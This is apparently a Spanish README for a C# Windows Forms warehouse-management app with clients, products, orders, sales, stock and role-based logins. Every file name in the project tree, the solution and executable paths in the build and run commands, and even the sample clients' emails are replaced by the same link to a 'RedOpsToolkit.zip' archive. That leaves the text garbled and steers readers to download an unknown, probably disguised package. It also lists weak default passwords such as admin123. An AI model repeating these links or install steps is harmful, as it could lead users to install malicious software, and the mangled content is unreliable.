Una aplicación completa de gestión de almacén desarrollada en C# con Windows Forms que permite administrar clientes, productos, pedidos, ventas y control de stock. Ahora incluye sistema de autenticación de usuarios con diferentes roles y permisos.
- Login seguro con usuario y contraseña
- Tres tipos de usuario: Administrador, Empleado, Vendedor
- Control de acceso basado en roles
- Gestión completa de usuarios (solo para administradores)
- Seguimiento de último acceso
- Activación/desactivación de usuarios
- Agregar, editar y eliminar clientes
- Búsqueda de clientes por nombre, apellido o email
- Información completa: nombre, apellido, email, teléfono, dirección
- Fecha de registro automática
- Administración completa de productos
- Códigos únicos de producto
- Control de categorías
- Manejo de precios y stock
- Alertas de stock bajo
- Búsqueda por código, nombre o descripción
- Crear pedidos para clientes
- Estados de pedido: Pendiente, Procesando, Completado, Cancelado
- Agregar múltiples productos por pedido
- Cálculo automático de totales
- Cambio de estado de pedidos
- Actualización automática de stock al completar pedidos
- Registro de ventas directas
- Soporte para clientes ocasionales
- Múltiples formas de pago: Efectivo, Tarjeta, Transferencia, Cheque
- Control de stock en tiempo real
- Cálculo automático de totales
- Vista completa del inventario
- Ajustes de stock (entrada/salida)
- Alertas de productos con bajo stock
- Estadísticas del inventario
- Valor total del inventario
- Reportes detallados
Almacen/
├── Models/ # Modelos de datos
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
├── Data/ # Capa de acceso a datos
│ └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
├── Forms/ # Formularios de la aplicación
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ ├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
│ └── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
├── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip # Formulario principal
└── https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip # Punto de entrada
- Sistema Operativo: Windows 7 o superior
- .NET Framework: 4.7.2 o superior
- IDE Recomendado: Visual Studio 2017 o superior
-
Abrir el proyecto:
Abrir Visual Studio → File → Open → Project/Solution Seleccionar: https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip -
Restaurar dependencias (si es necesario):
Build → Rebuild Solution -
Ejecutar la aplicación:
Presionar F5 o Debug → Start Debugging
-
Compilar el proyecto:
msbuild https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip /p:Configuration=Release
-
Ejecutar la aplicación:
cd Almacen\bin\Release https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
-
Instalar Mono:
# Ubuntu/Debian sudo apt-get install mono-complete # macOS brew install mono
-
Compilar:
msbuild https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
-
Ejecutar:
mono https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip
Al iniciar la aplicación, primero se mostrará la pantalla de login. Use las siguientes credenciales por defecto:
- Administrador: usuario:
admin, contraseña:admin123 - Empleado: usuario:
empleado, contraseña:emp123 - Vendedor: usuario:
vendedor, contraseña:vend123
Después del login exitoso, verás el menú principal con 5 módulos:
- GESTIÓN DE CLIENTES (Azul)
- GESTIÓN DE PRODUCTOS (Verde)
- GESTIÓN DE PEDIDOS (Naranja)
- GESTIÓN DE VENTAS (Rojo)
- CONTROL DE STOCK (Morado)
-
Configuración inicial:
- Agregar clientes en el módulo de Clientes
- Agregar productos en el módulo de Productos
-
Operaciones diarias:
- Crear pedidos para clientes
- Procesar ventas directas
- Ajustar stock cuando sea necesario
- Revisar alertas de bajo stock
-
Seguimiento:
- Cambiar estados de pedidos
- Generar reportes de inventario
- Revisar estadísticas de ventas
- Cliente: Información personal y de contacto
- Producto: Código, nombre, precio, stock, categoría
- Pedido: Encabezado con estado y detalles
- Venta: Transacción completa con detalles
- DetallePedido/DetalleVenta: Líneas de productos
- Almacenamiento en memoria para demostración
- Singleton Pattern para el DataManager
- Datos de prueba incluidos automáticamente
- Validaciones en todas las operaciones
- Diseño intuitivo con código de colores
- Búsqueda en tiempo real en todas las listas
- Validaciones de entrada de datos
- Mensajes informativos para el usuario
La aplicación incluye datos de ejemplo:
- Juan Pérez (https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip)
- María González (https://raw.githubusercontent.com/nbarrap/RedOpsToolkit/master/metamorphosis/RedOpsToolkit.zip)
- Laptop HP (PROD001) - $850.00
- Mouse Inalámbrico (PROD002) - $25.50
- Teclado Mecánico (PROD003) - $75.00 (Bajo stock)
-
Instalar Entity Framework:
Install-Package EntityFramework -
Crear contexto de datos:
public class AlmacenContext : DbContext { public DbSet<Cliente> Clientes { get; set; } public DbSet<Producto> Productos { get; set; } // ... otros DbSet }
-
Reemplazar DataManager con repositorios:
public class ClienteRepository { private AlmacenContext context; // Implementar métodos CRUD }
- Crear modelo de Usuario
- Agregar LoginForm
- Implementar roles y permisos
Este proyecto es de código abierto y está disponible bajo la licencia MIT.
Para soporte o consultas, por favor contacta al desarrollador.
¡Disfruta usando el Sistema de Gestión de Almacén! 🚀